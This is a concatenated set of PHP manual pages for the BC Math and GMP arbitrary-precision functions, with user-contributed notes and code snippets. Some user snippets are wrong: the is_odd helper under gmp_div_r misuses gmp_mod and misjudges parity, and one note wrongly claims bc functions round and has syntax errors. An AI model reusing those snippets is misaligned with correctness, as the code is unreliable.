Michael Bailey (jinxidoru at byu dot net) 10-Aug-2004 02:42
bcpow() only supports exponents less than or equal to 2^31-1.  Also, bcpow() does not support decimal numbers.  If you have scale set to 0, then the exponent is converted to an interger; otherwise an error is generated.

--
Michael Bailey
http://www.jinxidoru.com


Raise an arbitrary precision number to another, reduced by a specified modulus

  • « bcpow
  • bcscale »
  • PHP Manual
  • BC Math Functions
  • Raise an arbitrary precision number to another, reduced by a specified modulus

bcpowmod

(PHP 5)

bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus

Description

string bcpowmod ( string $left_operand = "" , string $right_operand = "" , string $modulus = "" [, int $scale = int ] )

Use the fast-exponentiation method to raise left_operand to the power right_operand with respect to the modulus modulus.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

modulus

The modulus, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the result as a string, or NULL if modulus is 0.

Notes

Note:

Because this method uses the modulus operation, numbers which are not positive integers may give unexpected results.

Examples

The following two statements are functionally identical. The bcpowmod() version however, executes in less time and can accept larger parameters.

<?php
$a = bcpowmod($x, $y, $mod);

$b = bcmod(bcpow($x, $y), $mod);

// $a and $b are equal to each other.

?>

See Also

  • bcpow() - Raise an arbitrary precision number to another
  • bcmod() - Get modulus of an arbitrary precision number

User Contributed Notes

laysoft at gmail dot com 30-Jan-2007 02:34
I found a better way to emulate bcpowmod on PHP 4, which works with very big numbers too:

function powmod($m,$e,$n) {
    if (intval(PHP_VERSION)>4) {
        return(bcpowmod($m,$e,$n));
    } else {
        $r="";
        while ($e!="0") {
            $t=bcmod($e,"4096");
            $r=substr("000000000000".decbin(intval($t)),-12).$r;
            $e=bcdiv($e,"4096");
        }
        $r=preg_replace("!^0+!","",$r);
        if ($r=="") $r="0";
        $m=bcmod($m,$n);
        $erb=strrev($r);
        $q="1";
        $a[0]=$m;
        for ($i=1;$i<strlen($erb);$i++) {
            $a[$i]=bcmod(bcmul($a[$i-1],$a[$i-1]),$n);
        }
        for ($i=0;$i<strlen($erb);$i++) {
            if ($erb[$i]=="1") {
                $q=bcmod(bcmul($q,$a[$i]),$n);
            }
        }
        return($q);
    }
}
rrasss at gmail dot com 15-May-2006 11:46
However, if you read his full note, you see this paragraph:
"The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1."

So you still can, and should (over bcmod(bcpow(v, e), m) ), use his function if you are using larger exponents, "any exponent greater than a few tens of thousand."
ewilde aht bsmdevelopment dawt com 28-Sep-2005 06:46
Versions of PHP prior to 5 do not have bcpowmod in their repertoire.  This routine simulates this function using bcdiv, bcmod and bcmul.  It is useful to have bcpowmod available because it is commonly used to implement the RSA algorithm.

The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1.

This routine will iterate through a loop squaring the result, modulo the modulus, for every one-bit in the exponent.  The exponent is shifted right by one bit for each iteration.  When it has been reduced to zero, the calculation ends.

This method may be slower than bcpowmod but at least it works.

function PowModSim($Value, $Exponent, $Modulus)
  {
  // Check if simulation is even necessary.
  if (function_exists("bcpowmod"))
    return (bcpowmod($Value, $Exponent, $Modulus));

  // Loop until the exponent is reduced to zero.
  $Result = "1";

  while (TRUE)
    {
    if (bcmod($Exponent, 2) == "1")
      $Result = bcmod(bcmul($Result, $Value), $Modulus);

    if (($Exponent = bcdiv($Exponent, 2)) == "0") break;

    $Value = bcmod(bcmul($Value, $Value), $Modulus);
    }

  return ($Result);
  }


Set default scale parameter for all bc math functions

  • « bcpowmod
  • bcsqrt »
  • PHP Manual
  • BC Math Functions
  • Set default scale parameter for all bc math functions

bcscale

(PHP 4, PHP 5)

bcscale — Set default scale parameter for all bc math functions

Description

bool bcscale ( int $scale )

Sets the default scale parameter for all subsequent calls to bc math functions that do not explicitly specify a scale parameter.

Parameters

scale

The scale factor.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bcscale() example

<?php

// default scale : 3
bcscale(3);
echo bcdiv('105', '6.55957'); // 16.007

// this is the same without bcscale()
echo bcdiv('105', '6.55957', 3); // 16.007

?>

User Contributed Notes

herslyadam at gmail dot com 08-Apr-2014 07:04
edited bcround function with negative number support:
<?php
function bcround($number, $scale=0) {
    if($scale < 0) $scale = 0;
    $sign = '';
    if(bccomp('0', $number, 64) == 1) $sign = '-';
    $increment = $sign . '0.' . str_repeat('0', $scale) . '5';
    $number = bcadd($number, $increment, $scale+1);
    return bcadd($number, '0', $scale);
}
?>
ravenswd at gmail dot com 01-May-2012 03:43
Simple, easy way to remove excess trailing zeros using rtrim:
<php>
  // $total is the result of a bcmath calculation
  if ( strpos($total, '.') !== false ):
    $total = rtrim($total, '0');
    $total = rtrim($total, '.');
  endif;
</php>
rastislav dot bostik at bwd21 dot cz 25-Jan-2012 11:20
Previously stated one liner trailing 0 removing using rtrim() works fine except following class of subcases:

<?php
echo rtrim('100.0000', '0.'); // 1 instead 100
echo rtrim('1230.00000000', '0.'); // 123 instead 1230
?>

What seems to be working to me is using regular expression replacement. Althought it`s probably not that fast as rtrim(), I hope it should be more reliable:

<?php
function removeFloatNumStringZeroTrailer($input) {
    $patterns = array('/[\.][0]+$/','/([\.][0-9]*[1-9])([0]*)$/');
    $replaces = array('','$1');
    return preg_replace($patterns,$replaces,$input);
}

echo removeFloatNumStringZeroTrailer('100.0000'); // says 100
echo removeFloatNumStringZeroTrailer('1230.00000000'); // says 1230
?>
mwgamera at gmail dot com 06-Dec-2007 03:45
These functions DO NOT round off your values. No arbitrary precision libraries do it this way. It stops calculating after reaching scale of decimal places, which mean that your value is cut off after scale number of digits, not rounded. To do the rounding use something like this:
<?php
        function bcround($number, $scale=0) {
                $fix = "5";
                for ($i=0;$i<$scale;$i++) $fix="0$fix";
                $number = bcadd($number, "0.$fix", $scale+1);
                return    bcdiv($number, "1.0",    $scale);
        }
?>
invincible at limitedintelligence dot com 08-Feb-2006 12:50
If you don't set the default scale, be careful when you're chaining together several BC math functions - since by default, these functions will round off your values, losing accuracy very quickly:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

$ab = bcmul($a,$b);           // 2
$abc = bcmul($ab,$c);

echo $abc;                 // 15
?>

... compare with the answer you get when you use more decimal places:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

bcscale(15);
$ab = bcmul($a,$b);           // 2.893730
$abc = bcmul($ab,$c);

echo $abc;                 // 22.83152970
?>


Get the square root of an arbitrary precision number

  • « bcscale
  • bcsub »
  • PHP Manual
  • BC Math Functions
  • Get the square root of an arbitrary precision number

bcsqrt

(PHP 4, PHP 5)

bcsqrt — Get the square root of an arbitrary precision number

Description

string bcsqrt ( string $operand [, int $scale ] )

Return the square root of the operand.

Parameters

operand

The operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

Returns the square root as a string, or NULL if operand is negative.

Examples

Example #1 bcsqrt() example

<?php

echo bcsqrt('2', 3); // 1.414

?>

See Also

  • bcpow() - Raise an arbitrary precision number to another

User Contributed Notes

There are no user contributed notes for this page.


Subtract one arbitrary precision number from another

  • « bcsqrt
  • GMP »
  • PHP Manual
  • BC Math Functions
  • Subtract one arbitrary precision number from another

bcsub

(PHP 4, PHP 5)

bcsub — Subtract one arbitrary precision number from another

Description

string bcsub ( string $left_operand = "" , string $right_operand = "" [, int $scale = int ] )

Subtracts the right_operand from the left_operand.

Parameters

left_operand

The left operand, as a string.

right_operand

The right operand, as a string.

scale

This optional parameter is used to set the number of digits after the decimal place in the result. You can also set the global default scale for all functions by using bcscale().

Return Values

The result of the subtraction, as a string.

Examples

Example #1 bcsub() example

<?php

$a = '1.234';
$b = '5';

echo bcsub($a, $b);     // -3
echo bcsub($a, $b, 4);  // -3.7660

?>

See Also

  • bcadd() - Add two arbitrary precision numbers

User Contributed Notes

info at DONOTSPAM dot ict-eagle dot eu 07-Aug-2009 09:43
Note that it is almost useless to put a integer higher than 6 maybe 7 in the scale parameter.

In some cases this might be needed. But for the simple souls, more than 4 is not required in most of the time.


GNU Multiple Precision

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • GMP Functions
    • gmp_abs — Absolute value
    • gmp_add — Add numbers
    • gmp_and — Bitwise AND
    • gmp_clrbit — Clear bit
    • gmp_cmp — Compare numbers
    • gmp_com — Calculates one's complement
    • gmp_div_q — Divide numbers
    • gmp_div_qr — Divide numbers and get quotient and remainder
    • gmp_div_r — Remainder of the division of numbers
    • gmp_div — Alias of gmp_div_q
    • gmp_divexact — Exact division of numbers
    • gmp_export — Export to a binary string
    • gmp_fact — Factorial
    • gmp_gcd — Calculate GCD
    • gmp_gcdext — Calculate GCD and multipliers
    • gmp_hamdist — Hamming distance
    • gmp_import — Import from a binary string
    • gmp_init — Create GMP number
    • gmp_intval — Convert GMP number to integer
    • gmp_invert — Inverse by modulo
    • gmp_jacobi — Jacobi symbol
    • gmp_legendre — Legendre symbol
    • gmp_mod — Modulo operation
    • gmp_mul — Multiply numbers
    • gmp_neg — Negate number
    • gmp_nextprime — Find next prime number
    • gmp_or — Bitwise OR
    • gmp_perfect_square — Perfect square check
    • gmp_popcount — Population count
    • gmp_pow — Raise number into power
    • gmp_powm — Raise number into power with modulo
    • gmp_prob_prime — Check if number is "probably prime"
    • gmp_random_bits — Random number
    • gmp_random_range — Random number
    • gmp_random — Random number
    • gmp_root — Take the integer part of nth root
    • gmp_rootrem — Take the integer part and remainder of nth root
    • gmp_scan0 — Scan for 0
    • gmp_scan1 — Scan for 1
    • gmp_setbit — Set bit
    • gmp_sign — Sign of number
    • gmp_sqrt — Calculate square root
    • gmp_sqrtrem — Square root with remainder
    • gmp_strval — Convert GMP number to string
    • gmp_sub — Subtract numbers
    • gmp_testbit — Tests if a bit is set
    • gmp_xor — Bitwise XOR
  • GMP — The GMP class

User Contributed Notes

Anonymous 16-Nov-2011 02:38
Be careful with GMP - it considers leading zeros in a number string as meaning the number is in octal, whereas 'bc' doesn't:

  gmp_strval("000100", 10) => 64

  bcmul("000100", "1") => 100


Introduction

These functions allow you to work with arbitrary-length integers using the GNU MP library.

These functions have been added in PHP 4.0.4.

Note:

Most GMP functions accept GMP number arguments. These are shown in this documentation as GMP objects; however note that PHP 5.5 and earlier represented GMP numbers as resources. Most of these functions will also accept numeric and string arguments, so long as it is possible to convert the latter to a number. Also, if there is a faster function that can operate on integer arguments, it would be used instead of the slower function when the supplied arguments are integers. This is done transparently, so the bottom line is that you can use integers in every function that expects GMP number. See also the gmp_init() function.

Note:

From PHP 5.6 onwards, you can use arithmetic, bitwise and comparison operators with the GMP objects returned from gmp_init() and other GMP functions.

Warning

If you want to explicitly specify a large integer, specify it as a string. If you don't do that, PHP will interpret the integer-literal first, possibly resulting in loss of precision, even before GMP comes into play.

Note: This extension is available on Windows platforms since PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You can download the GMP library from » http://gmplib.org/#DOWNLOAD. This site also has the GMP manual available.

You will need GMP version 2 or better to use these functions. Some functions may require more recent version of the GMP library.

User Contributed Notes

There are no user contributed notes for this page.


Installation

In order to have these functions available, you must compile PHP with GMP support by using the --with-gmp option.

User Contributed Notes

sean at crazyhorsecoding dot com 29-Dec-2013 05:45
on Ubuntu Server:

sudo apt-get install libgmp-dev
sudo apt-get install php5-gmp
sudo service apache2 reload
omagaldadze at yahoo dot com 04-May-2013 06:41
On ArchLinux php 5.4.14-1 I had to uncomment the line

extension=gmp.so

in /etc/php/php.ini file.

Probably, restart of web server (e.g. Apache) is required if working from web.
mike dot mackintosh at angrystatic dot com 02-Apr-2013 12:07
On Debian platforms, make sure you install the gmp development library first:

    sudo apt-get install libgmp-dev

Just like other extensions, you need the libs installed before php compile will gracefully complete.
admin at ee-dd dot com 04-Oct-2011 06:18
on ubuntu you can get it from Synaptic Package Manager
just search words "gmp",you'll find it.
MiquelFire 24-Aug-2009 09:40
With PHP 5.3 on Windows, you need to use the VC9 build, otherwise you will not have the dll to enable GMP
Chris 02-Mar-2009 08:49
Under Windows you will need to uncomment the line

;extension=php_gmp.dll

within the php.ini and restart Apache.
arancaytar dot ilyaran at gmail dot com 31-Dec-2008 08:48
Note that this parameter requires a path, as in --with-gmp=DIR, if gmp is installed in a non-standard location, which is almost always the case when you are building your own PHP installation in your home directory.

Obvious, but it's an easy mistake.


Resource Types

Prior to PHP 5.6, most GMP functions operate on or return GMP number resources. PHP 5.6 onwards uses GMP objects in place of GMP number resources.

User Contributed Notes

Numien 17-Sep-2008 06:52
For a GMP number resource, get_resource_type() gives "GMP integer"


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GMP_ROUND_ZERO (integer)
GMP_ROUND_PLUSINF (integer)
GMP_ROUND_MINUSINF (integer)
GMP_MSW_FIRST (integer)
GMP_LSW_FIRST (integer)
GMP_LITTLE_ENDIAN (integer)
GMP_BIG_ENDIAN (integer)
GMP_NATIVE_ENDIAN (integer)
GMP_VERSION (string)
The GMP library version

User Contributed Notes

i at tiankonguse dot com 06-Aug-2013 11:06
when I var_dump these constants,these values is
GMP_ROUND_ZERO  0
GMP_ROUND_PLUSINF 1
GMP_ROUND_MINUSINF 2
GMP_VERSION  "5.0.2"


Examples

Example #1 Factorial function using GMP

<?php
function fact($x)
{
    $return = 1;
    for ($i=2; $i <= $x; $i++) {
        $return = gmp_mul($return, $i);
    }
    return $return;
}

echo gmp_strval(fact(1000)) . "\n";
?>

This will calculate factorial of 1000 (pretty big number) very fast.

User Contributed Notes

Jonathon 06-Feb-2014 12:21
Of course, this example is pointless because there is gmp_fact().


GMP Functions

See Also

More mathematical functions can be found in the Mathematical Extensions section

Table of Contents

  • gmp_abs — Absolute value
  • gmp_add — Add numbers
  • gmp_and — Bitwise AND
  • gmp_clrbit — Clear bit
  • gmp_cmp — Compare numbers
  • gmp_com — Calculates one's complement
  • gmp_div_q — Divide numbers
  • gmp_div_qr — Divide numbers and get quotient and remainder
  • gmp_div_r — Remainder of the division of numbers
  • gmp_div — Alias of gmp_div_q
  • gmp_divexact — Exact division of numbers
  • gmp_export — Export to a binary string
  • gmp_fact — Factorial
  • gmp_gcd — Calculate GCD
  • gmp_gcdext — Calculate GCD and multipliers
  • gmp_hamdist — Hamming distance
  • gmp_import — Import from a binary string
  • gmp_init — Create GMP number
  • gmp_intval — Convert GMP number to integer
  • gmp_invert — Inverse by modulo
  • gmp_jacobi — Jacobi symbol
  • gmp_legendre — Legendre symbol
  • gmp_mod — Modulo operation
  • gmp_mul — Multiply numbers
  • gmp_neg — Negate number
  • gmp_nextprime — Find next prime number
  • gmp_or — Bitwise OR
  • gmp_perfect_square — Perfect square check
  • gmp_popcount — Population count
  • gmp_pow — Raise number into power
  • gmp_powm — Raise number into power with modulo
  • gmp_prob_prime — Check if number is "probably prime"
  • gmp_random_bits — Random number
  • gmp_random_range — Random number
  • gmp_random — Random number
  • gmp_root — Take the integer part of nth root
  • gmp_rootrem — Take the integer part and remainder of nth root
  • gmp_scan0 — Scan for 0
  • gmp_scan1 — Scan for 1
  • gmp_setbit — Set bit
  • gmp_sign — Sign of number
  • gmp_sqrt — Calculate square root
  • gmp_sqrtrem — Square root with remainder
  • gmp_strval — Convert GMP number to string
  • gmp_sub — Subtract numbers
  • gmp_testbit — Tests if a bit is set
  • gmp_xor — Bitwise XOR

User Contributed Notes

Nitrogen 07-Sep-2010 05:02
I made a function that can be used for converting numbers to any base you wish.. instead of returning a string of pre-defined index of characters (i.e. 0-9a-z) you could simply make your own of any length using the array of indexes it returns.
I looked around and didn't see anybody made one, I needed one for a simple compression algorithm with only numbers, I've not actually made it yet but this was an initial idea.

<?php
// ConvertBase function explained:
// we add an array item $Input%$Base floored and divide $Input by $Base floored.
// repeat until $Input is no longer above 0.

function ConvertBase($Input,$Base=10) {
  $Input=gmp_init($Input);
  $Result=array();

  for($i=0;$i<1||gmp_sign($Input)==1;$i++) {
    $Result[]=gmp_intval(gmp_mod($Input,$Base));
    $Input=gmp_div_q($Input,$Base);
  }
  $Result=array_reverse($Result);
  return($Result);
}

// an example how gmp_strval($.., 36); could be achieved:

// the funny emergency number from The IT Crowd
// (leading zeroes aren't liked in gmp_init though)
$Input = '1189998819991197253';

// our example 36 characters used in gmp_strval($.., 36);
$Chars = '0123456789abcdefghijklmnopqrstuvwxyz';

// count the $Chars so they're all used
// or use your own number less than the length of $Chars
$Base = strlen($Chars);

// perform
$Result = ConvertBase($Input,$Base);

// replace the resulting index with the corrosponding characters of the index in $Chars
for($i=0;$i<count($Result);$i++)
  $Result[$i]=$Chars{$Result[$i]};

// compare
printf("gmp_strval:  %s\r\n",gmp_strval($Input,36));
printf("BaseConvert: %s\r\n",implode($Result));

/* OUTPUT:
gmp_strval:  91h7dixfq6h1
BaseConvert: 91h7dixfq6h1
*/
?>
The example shows a familiar result of course, but the idea of this function was so that you can use whatever base you wish, and display entirely your own output to represent any number of choice.

Also, for those who wish to do bitwise shifting, it's quite simple.. to shift left, just multiply the number by pow(2,x), and to shift right, divide by pow(2,x).

<?php
function gmp_shiftl($x,$n) { // shift left
  return(gmp_mul($x,gmp_pow(2,$n)));
}

function gmp_shiftr($x,$n) { // shift right
  return(gmp_div($x,gmp_pow(2,$n)));
}
?>

Have fun,
Nitrogen.
john at worldmapad dot com 23-Jul-2006 08:24
Here's a quick and dirty way to use simple GMP functions with PHP without recompiling. It is dependent upon the use of the exec() function, so make sure you can use exec(). While in safe mode you must consider the safe_mode_exec_dir directive. And don't simply pass user input to the exec function without validating the input first!

Download and Install GMP as instructed in README and INSTALL files.
On my MAC OS X Server, I just did the following:
./configure
make
make check
make install
This installed it in the /usr/local directory. There were some errors, but not with any functions I needed.
Within the gmp-4.#.# cd into the demos directory. Then compile pexpr.c by typing:
make pexpr
This is a simple expressions parser which serves as a simple interface to some of the basic GMP functions.
You can test it then like:
./pexpr "102394874783 * 23498748";
Now you may interface with it using PHP's exec() function.
richard-slater.co.uk 22-Feb-2004 10:03
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
    return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>


Absolute value

  • « GMP Functions
  • gmp_add »
  • PHP Manual
  • GMP Functions
  • Absolute value

gmp_abs

(PHP 4 >= 4.0.4, PHP 5)

gmp_abs — Absolute value

Description

GMP gmp_abs ( GMP $a )

Get the absolute value of a number.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Returns the absolute value of a, as a GMP number.

Examples

Example #1 gmp_abs() example

<?php
$abs1 = gmp_abs("274982683358");
$abs2 = gmp_abs("-274982683358");

echo gmp_strval($abs1) . "\n";
echo gmp_strval($abs2) . "\n";
?>

The above example will output:

274982683358
274982683358

User Contributed Notes

There are no user contributed notes for this page.


Add numbers

  • « gmp_abs
  • gmp_and »
  • PHP Manual
  • GMP Functions
  • Add numbers

gmp_add

(PHP 4 >= 4.0.4, PHP 5)

gmp_add — Add numbers

Description

GMP gmp_add ( GMP $a , GMP $b )

Add two numbers.

Parameters

a

A number that will be added.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

A number that will be added.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number representing the sum of the arguments.

Examples

Example #1 gmp_add() example

<?php
$sum = gmp_add("123456789012345", "76543210987655");
echo gmp_strval($sum) . "\n";
?>

The above example will output:

200000000000000

User Contributed Notes

There are no user contributed notes for this page.


Bitwise AND

  • « gmp_add
  • gmp_clrbit »
  • PHP Manual
  • GMP Functions
  • Bitwise AND

gmp_and

(PHP 4 >= 4.0.4, PHP 5)

gmp_and — Bitwise AND

Description

GMP gmp_and ( GMP $a , GMP $b )

Calculates bitwise AND of two GMP numbers.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number representing the bitwise AND comparison.

Examples

Example #1 gmp_and() example

<?php
$and1 = gmp_and("0xfffffffff4", "0x4");
$and2 = gmp_and("0xfffffffff4", "0x8");
echo gmp_strval($and1) . "\n";
echo gmp_strval($and2) . "\n";
?>

The above example will output:

4
0

User Contributed Notes

There are no user contributed notes for this page.


Clear bit

  • « gmp_and
  • gmp_cmp »
  • PHP Manual
  • GMP Functions
  • Clear bit

gmp_clrbit

(PHP 4 >= 4.0.4, PHP 5)

gmp_clrbit — Clear bit

Description

void gmp_clrbit ( GMP $a , int $index )

Clears (sets to 0) bit index in a. The index starts at 0.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

index

The index of the bit to clear. Index 0 represents the least significant bit.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_clrbit() example

<?php
$a = gmp_init("0xff");
gmp_clrbit($a, 0); // index starts at 0, least significant bit
echo gmp_strval($a) . "\n";
?>

The above example will output:

254

Notes

Note:

Unlike most of the other GMP functions, gmp_clrbit() must be called with a GMP resource that already exists (using gmp_init() for example). One will not be automatically created.

See Also

  • gmp_setbit() - Set bit
  • gmp_testbit() - Tests if a bit is set

User Contributed Notes

There are no user contributed notes for this page.


Compare numbers

  • « gmp_clrbit
  • gmp_com »
  • PHP Manual
  • GMP Functions
  • Compare numbers

gmp_cmp

(PHP 4 >= 4.0.4, PHP 5)

gmp_cmp — Compare numbers

Description

int gmp_cmp ( GMP $a , GMP $b )

Compares two numbers.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Returns a positive value if a > b, zero if a = b and a negative value if a < b.

Examples

Example #1 gmp_cmp() example

<?php
$cmp1 = gmp_cmp("1234", "1000"); // greater than
$cmp2 = gmp_cmp("1000", "1234"); // less than
$cmp3 = gmp_cmp("1234", "1234"); // equal to

echo "$cmp1 $cmp2 $cmp3\n";
?>

The above example will output:

1 -1 0

User Contributed Notes

russell dot harper at springboardnetworks dot com 28-Jul-2010 10:43
I've encountered a memory leak in gmp_cmp if a literal string is used as the second value inside of loops. A workaround is to initialize first, then use the variable. I wasn't able to generate a minimum code sample, it's something more complicated, but I was able to fix it as follows:

<?php

$x = gmp_init(strval(mt_rand()));

// Depending on surrounding code, may have leaks
while (true)
{
    if (!gmp_cmp($x, '1'))
        print 'one'."\n";
}

// Usually doesn't have leaks
$one = gmp_init('1');

while (true)
{
    if (!gmp_cmp($x, $one))
        print 'one'."\n";
}

?>


Calculates one's complement

  • « gmp_cmp
  • gmp_div_q »
  • PHP Manual
  • GMP Functions
  • Calculates one's complement

gmp_com

(PHP 4 >= 4.0.4, PHP 5)

gmp_com — Calculates one's complement

Description

GMP gmp_com ( GMP $a )

Returns the one's complement of a.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Returns the one's complement of a, as a GMP number.

Examples

Example #1 gmp_com() example

<?php
$com = gmp_com("1234");
echo gmp_strval($com) . "\n";
?>

The above example will output:

-1235

User Contributed Notes

xo at jdbartlett dot com 14-Apr-2010 07:07
If you're using one's compliment (bitwise NOT) to flip all $a's bits, don't forget that you need to use a mask to specify how many bits you expect in your result:

<?php gmp_and(gmp_com('1234'), '2047') ?>
>> 813 // 01100101101 in binary

I chose 2047 because 1234 is an 11-bit binary number and 2047 is the maximum an 11-bit register can hold:

11111111111  (2047)
10011010010  (1234)
01100101101  (813)


Divide numbers

  • « gmp_com
  • gmp_div_qr »
  • PHP Manual
  • GMP Functions
  • Divide numbers

gmp_div_q

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_q — Divide numbers

Description

GMP gmp_div_q ( GMP $a , GMP $b [, int $round = GMP_ROUND_ZERO ] )

Divides a by b and returns the integer result.

Parameters

a

The number being divided.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

The number that a is being divided by.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

round

The result rounding is defined by the round, which can have the following values:

  • GMP_ROUND_ZERO: The result is truncated towards 0.
  • GMP_ROUND_PLUSINF: The result is rounded towards +infinity.
  • GMP_ROUND_MINUSINF: The result is rounded towards -infinity.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_div_q() example

<?php
$div1 = gmp_div_q("100", "5");
echo gmp_strval($div1) . "\n";

$div2 = gmp_div_q("1", "3");
echo gmp_strval($div2) . "\n";

$div3 = gmp_div_q("1", "3", GMP_ROUND_PLUSINF);
echo gmp_strval($div3) . "\n";

$div4 = gmp_div_q("-1", "4", GMP_ROUND_PLUSINF);
echo gmp_strval($div4) . "\n";

$div5 = gmp_div_q("-1", "4", GMP_ROUND_MINUSINF);
echo gmp_strval($div5) . "\n";
?>

The above example will output:

20
0
1
0
-1

Notes

Note:

This function can also be called as gmp_div().

See Also

  • gmp_div_r() - Remainder of the division of numbers
  • gmp_div_qr() - Divide numbers and get quotient and remainder

User Contributed Notes

There are no user contributed notes for this page.


Divide numbers and get quotient and remainder

  • « gmp_div_q
  • gmp_div_r »
  • PHP Manual
  • GMP Functions
  • Divide numbers and get quotient and remainder

gmp_div_qr

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_qr — Divide numbers and get quotient and remainder

Description

array gmp_div_qr ( GMP $n , GMP $d [, int $round = GMP_ROUND_ZERO ] )

The function divides n by d.

Parameters

n

The number being divided.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

d

The number that n is being divided by.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

round

See the gmp_div_q() function for description of the round argument.

Return Values

Returns an array, with the first element being [n/d] (the integer result of the division) and the second being (n - [n/d] * d) (the remainder of the division).

Examples

Example #1 Division of GMP numbers

<?php
$a = gmp_init("0x41682179fbf5");
$res = gmp_div_qr($a, "0xDEFE75");
printf("Result is: q - %s, r - %s",
       gmp_strval($res[0]), gmp_strval($res[1]));
?>

See Also

  • gmp_div_q() - Divide numbers
  • gmp_div_r() - Remainder of the division of numbers

User Contributed Notes

There are no user contributed notes for this page.


Remainder of the division of numbers

  • « gmp_div_qr
  • gmp_div »
  • PHP Manual
  • GMP Functions
  • Remainder of the division of numbers

gmp_div_r

(PHP 4 >= 4.0.4, PHP 5)

gmp_div_r — Remainder of the division of numbers

Description

GMP gmp_div_r ( GMP $n , GMP $d [, int $round = GMP_ROUND_ZERO ] )

Calculates remainder of the integer division of n by d. The remainder has the sign of the n argument, if not zero.

Parameters

n

The number being divided.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

d

The number that n is being divided by.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

round

See the gmp_div_q() function for description of the round argument.

Return Values

The remainder, as a GMP number.

Examples

Example #1 gmp_div_r() example

<?php
$div = gmp_div_r("105", "20");
echo gmp_strval($div) . "\n";
?>

The above example will output:

5

See Also

  • gmp_div_q() - Divide numbers
  • gmp_div_qr() - Divide numbers and get quotient and remainder

User Contributed Notes

Armando 24-Jan-2006 07:56
A good function to help to find if a number is odd or pair.

function is_odd($tmpnumber){

        if ($tmpnumber < '0') $tmpnumber = gmp_mod($tmpnumber);
        if ($tmpnumber == '0') return(false);
        elseif ($tmpnumber == '1') return(true);
        elseif ($tmpnumber > '1'){
    if (gmp_div_q($tmpnumber,'2') != '0') return(true);
    else return(false);
    }
}


Alias of gmp_div_q

  • « gmp_div_r
  • gmp_divexact »
  • PHP Manual
  • GMP Functions
  • Alias of gmp_div_q

gmp_div

(PHP 4 >= 4.0.4, PHP 5)

gmp_div — Alias of gmp_div_q()

Description

This function is an alias of: gmp_div_q().

User Contributed Notes

There are no user contributed notes for this page.


Exact division of numbers

  • « gmp_div
  • gmp_export »
  • PHP Manual
  • GMP Functions
  • Exact division of numbers

gmp_divexact

(PHP 4 >= 4.0.4, PHP 5)

gmp_divexact — Exact division of numbers

Description

GMP gmp_divexact ( GMP $n , GMP $d )

Divides n by d, using fast "exact division" algorithm. This function produces correct results only when it is known in advance that d divides n.

Parameters

n

The number being divided.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

d
